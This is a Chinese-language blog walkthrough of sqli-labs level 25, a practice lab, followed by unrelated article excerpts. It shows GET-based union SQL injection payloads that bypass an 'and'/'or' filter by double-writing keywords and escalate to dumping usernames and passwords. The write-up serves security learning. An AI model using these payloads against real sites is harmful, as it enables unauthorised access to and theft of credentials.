sqli-labs关卡25(基于get提交的过滤and和or的联合注入)

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第二十五关通关思路
    • 1、判断注入点
    • 2、爆字段个数
    • 3、爆显位位置
    • 4、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是过滤了注释符,导致单引号不能被过滤掉而闭合,得通过构造and '1'='1or '1'='1在payload后面才能成功把多余的单引号闭合。这一关是过滤了and和or,让我们看看如何绕过。

二、靶场第二十五关通关思路

  • 1、判断注入点
  • 2、爆字段个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

打开二十五关,发现是get提交的注入类型,老规矩用万能语句and 1=1和 and 1=2测试,发现回显正常,还发现语句返回页面的时候and被过滤了,这里说明这一关是过滤掉and和or了.( 如图所示)
在这里插入图片描述
为了进一步猜想是不是过滤了and和or我们看看源码,发现and和or被替换为空了(如图所示)
在这里插入图片描述
这里我们有三种方法绕过and,
第一种是双写and
因为它把and替换为空,而且只过滤一次。如果是anandd的话经过后端过滤应该变成and。
第二种是利用逻辑运算符
and对应的机器语言是&&,or对应的是||
第三种是用url编码
and对应的机器语言是&&,若&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。当然&&能绕过更好。
绕过的方法有很多这里不多举例,这里我用双写绕过。
最终发现是单引号闭合,payload为(如图所示)

id=1' anandd 1=1--+
id=1' anandd 1=2--+

在这里插入图片描述
在这里插入图片描述

2、爆字段个数

发现4的时候报错,说明只有三个字段
payload为

id=1' oorrder by 4--+

在这里插入图片描述

3、爆显位位置

payload为

id=1' union select 1,2,3--+

在这里插入图片描述

4、爆数据库名

payload为

id=-1' union select 1,user(),database()--+

在这里插入图片描述

5、爆数据库表名

payload为

id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

在这里插入图片描述

6、爆数据库列名

payload为

id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name="users"--+

在这里插入图片描述

7、爆数据库数据

payload为

id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

在这里插入图片描述


总结

这一关是过滤了and和or,过滤的方法很多,有双写、url编码、&&绕过等等。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/417883.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无忧秘书智脑:轻松驾驭“看图说话”功能,职场沟通更高效

在现代职场中,有效的沟通是提升工作效率的关键。然而,有时候我们面对一张图片或图表,却难以用言语准确表达其中的信息。这时,无忧秘书智脑的“看图说话”功能就派上了用场。这篇文章将手把手教你如何使用这一功能,以及…

【论文笔记】A Survey on 3D Gaussian Splatting

原文链接:https://arxiv.org/abs/2401.03890 1. 引言 NeRF在计算效率和可控性上具有局限性,这导致了3D高斯溅射(3D GS)的出现,重新定义了场景表达和渲染。 3D GS通过引入新的场景表达技术,用大量的3D高斯…

【Java】后端开发语言Java和C#,两者对比注解和属性的区别以及作用

欢迎来到《小5讲堂》 大家好,我是全栈小5。 这是《Java》序列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对知识点的理解和掌握…

HBase学习五:运维排障

1、负载均衡 1.1 Rgion迁移 在当前的HBase版本中,Region迁移虽然是一个轻量级操作,但实现逻辑依然比较复杂,≈复杂性主要表现在两个方面:其一,Region迁移过程涉及多种状态的改变;其二,迁移过程中涉及Master、ZooKeeper(ZK)以及RegionServer等多个组件的相互协调。 …

字符和ASCII编码

文章目录 一、什么是字符二、什么是ASCII编码三,怎么打印字符对应的ASCII值 提示:以下是本篇文章正文内容,下面案例可供参考 一、什么是字符 日常代码中敲写代码中,在键盘上可以敲出各种字符,如a,q&#x…

java8用新特性stream做递归处理

在平时的业务中,避免不了使用递归,比如菜单列表,区域列表等,数据库一般就使用父id来表示,为了降低数据库的查询压力,我们可以使用Java8中的Stream流一次性把数据查出来,然后通过流式处理。 下来…

2024年【G2电站锅炉司炉】考试报名及G2电站锅炉司炉复审考试

题库来源:安全生产模拟考试一点通公众号小程序 G2电站锅炉司炉考试报名是安全生产模拟考试一点通生成的,G2电站锅炉司炉证模拟考试题库是根据G2电站锅炉司炉最新版教材汇编出G2电站锅炉司炉仿真模拟考试。2024年【G2电站锅炉司炉】考试报名及G2电站锅炉…

LeetCode 144. 94. 145. 二叉树的前序,中序,后续遍历(详解) ੭ ᐕ)੭*⁾⁾

目录 144.二叉树的前序遍历 一. TreeSize函数的实现: 二. preOrderTree函数的实现: 三.preorderTraversal函数的实现: 最后完整代码: 94.二叉树的中序遍历: 145.二叉树的后续遍历: 经过前面的二叉树的学习&…

Spring第七天(AOP)

简介 AOP(Aspect Oriented Programing)面向切面编程,一种编程范式,指导开发者如何组织程序结构 作用 在不惊动原始设计的基础上为其进行功能增强 Spring理念:无入侵式/无侵入式 基本概念 连接点(JoinPoint) : 程序执行过程中的任意位置&a…

如何使用 OpenCV 扫描图像、查找表和时间测量

目标 我们将寻求以下问题的答案: 如何浏览图像的每个像素?OpenCV 矩阵值是如何存储的?如何衡量我们算法的性能?什么是查找表,为什么要使用它们? 我们的测试用例 让我们考虑一种简单的颜色减少方法。通过…

令牌桶算法与Guava的实现RateLimiter源码分析

令牌桶算法与Guava的实现RateLimiter源码分析 令牌桶RateLimiter简介RateLimiter使用示例导入maven依赖编写测试代码 RateLimiter的实现源码解析SmoothRateLimiterSmoothBursty恒速获取令牌acquire(int)tryAcquire(int,long,TimeUnit) 存量桶系数小结 优缺点与漏桶的区别总结 令…

Go 知识slice

Go 知识slice 1. 什么是slice2. slice 基础2.1 定义 2.2 实现原理2.2.1 make 创建2.2.2 切片 创建 2.3 操作2.3.1 append 追加2.3.2 表达式切片2.3.3 扩展表达式2.3.4 扩容2.3.5 拷贝 3. 测试一下3.1 len && cap3.2 append && 扩容3.3 切片表达式 1. 什么是sli…